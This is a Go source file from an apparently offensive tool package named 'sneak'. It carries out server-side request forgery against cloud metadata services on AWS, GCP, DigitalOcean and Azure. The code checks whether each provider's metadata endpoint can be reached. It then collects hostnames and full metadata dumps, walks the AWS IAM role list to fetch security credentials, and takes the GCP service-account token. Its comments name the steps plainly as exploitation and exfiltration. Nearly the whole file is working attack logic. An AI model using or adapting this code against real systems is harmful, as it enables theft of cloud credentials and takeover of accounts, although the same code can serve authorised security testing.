-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathcloud.go
219 lines (189 loc) · 5.77 KB
/
cloud.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
package sneak
import (
"io/ioutil"
"log"
"net/http"
"time"
)
// All cloud metadata endpoints we support to perform SSRF against
type MetadataEndpoints map[string]*CloudSsrf
type CloudSsrf struct {
// HTTP client to interact with endpoints
Client *http.Client
// URLs exposed by internal VPC for SSRF checks
Endpoint []string
// Endpoint to ping first to validate cloud provider
Litmus string
// Will be populated by `CheckLitmus` with the actual URL we can use
Actual string
// Headers we may need to set (this is mainly for GCP)
Headers *map[string]string
// API paths to hit to recover sensitive information
Paths map[string]string
// Callback to consume the current check being done and process it from the response
PostProcessor func(check string, url string, resp *http.Response) (string, error)
}
// Checks if the endpoint for the provider is reachable, in order to confirm that
// the service actually is being hosted by the provider
func (c *CloudSsrf) CheckLitmus() bool {
// check if each specified URL + endpoint is reachable
for _, endpoint := range c.Endpoint {
req, err := http.NewRequest("GET", endpoint+c.Litmus, nil)
if err != nil {
continue
}
if c.Headers != nil {
for key, value := range *c.Headers {
req.Header.Add(key, value)
}
}
resp, err := c.Client.Do(req)
if err != nil {
continue
}
// must get a 200 status to be reachable/exploitable
// TODO: validate if this is true for all providers
if resp.StatusCode == 200 {
c.Actual = endpoint
return true
}
}
return false
}
// Once it's confirmed that we can reach the endpoint let's exfiltrate
func (c *CloudSsrf) Exploit() SsrfResults {
results := SsrfResults{}
// to remain reliable, if a check fails, we'll log and skip
for check, endpoint := range c.Paths {
log.Printf("Checking endpoints for vendor `%s`\n", check)
url := c.Actual + endpoint
req, err := http.NewRequest("GET", url, nil)
if err != nil {
continue
}
if c.Headers != nil {
for key, value := range *c.Headers {
req.Header.Add(key, value)
}
}
// execute and prepare to parse response
resp, err := c.Client.Do(req)
if err != nil {
continue
}
if resp.StatusCode != 200 {
continue
}
// given each key, perform any post-processing on the data, such as
// reaching out to an additional endpoint to recover data
info, err := c.PostProcessor(check, url, resp)
if err != nil {
continue
}
results[check] = info
}
return results
}
func DefaultPostProcessor(check string, url string, resp *http.Response) (string, error) {
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
return string(body), nil
}
func GetMetadataEndpoints() MetadataEndpoints {
// we should get an immediate response on every request, don't waste time
client := http.Client{
Timeout: time.Duration(2 * time.Second),
}
return map[string]*CloudSsrf{
// TODO: deal with aws_imdsv2
"aws": &CloudSsrf{
Client: &client,
Endpoint: []string{"http://169.254.169.254"},
Litmus: "/latest/",
Headers: nil,
Paths: map[string]string{
"hostname": "/latest/meta-data/hostname",
"ami-id": "/latest/meta-data/ami-id",
"meta_token": "/latest/meta-data/iam/security-credentials/",
"user_token": "/latest/user-data/iam/security-credentials/",
},
PostProcessor: func(check string, url string, resp *http.Response) (string, error) {
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
// we need to determine what roles are available and then make an additional request
if check == "meta_token" || check == "user_token" {
// new request to now retrieve sensitive credentials
url := url + string(body)
req, err := http.NewRequest("GET", url, nil)
if err != nil {
return "", err
}
tokenResp, err := client.Do(req)
if err != nil {
//log.Println("Request to service failed")
return "", err
}
// stringify the AWS IAM credentials we retrieved and return
tokens, err := ioutil.ReadAll(tokenResp.Body)
if err != nil {
return "", err
}
return string(tokens), nil
}
// just return the body as a string for everything else
return string(body), nil
},
},
"gcp": &CloudSsrf{
Client: &client,
Endpoint: []string{"http://169.254.169.254", "http://metadata.google.internal"},
Litmus: "/computeMetadata/",
Headers: &map[string]string{
"Metadata-Flavor": "Google",
"X-Google-Metadata-Request": "True",
},
Paths: map[string]string{
// GCP has a convenient parameter that dumps everything, so we don't multiple requests
"all": "/computeMetadata/v1/?recursive=True",
// TODO: is `default` always going to be the case for service accounts?
"token": "/computeMetadata/v1/instance/service-accounts/default/token",
},
PostProcessor: func(check string, url string, resp *http.Response) (string, error) {
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return "", err
}
return string(body), nil
},
},
"do": &CloudSsrf{
Client: &client,
Endpoint: []string{"http://169.254.169.254"},
Litmus: "/metadata/v1/",
Paths: map[string]string{
"all": "/metadata/v1.json",
},
PostProcessor: func(check string, url string, resp *http.Response) (string, error) {
return DefaultPostProcessor(check, url, resp)
},
},
"azure": &CloudSsrf{
Client: &client,
Endpoint: []string{"http://169.254.169.254"},
Litmus: "/metadata/",
Headers: &map[string]string{
"Metadata": "True",
},
Paths: map[string]string{
"all": "/metadata/instance?api-version=2017-04-02",
},
PostProcessor: func(check string, url string, resp *http.Response) (string, error) {
return DefaultPostProcessor(check, url, resp)
},
},
}
}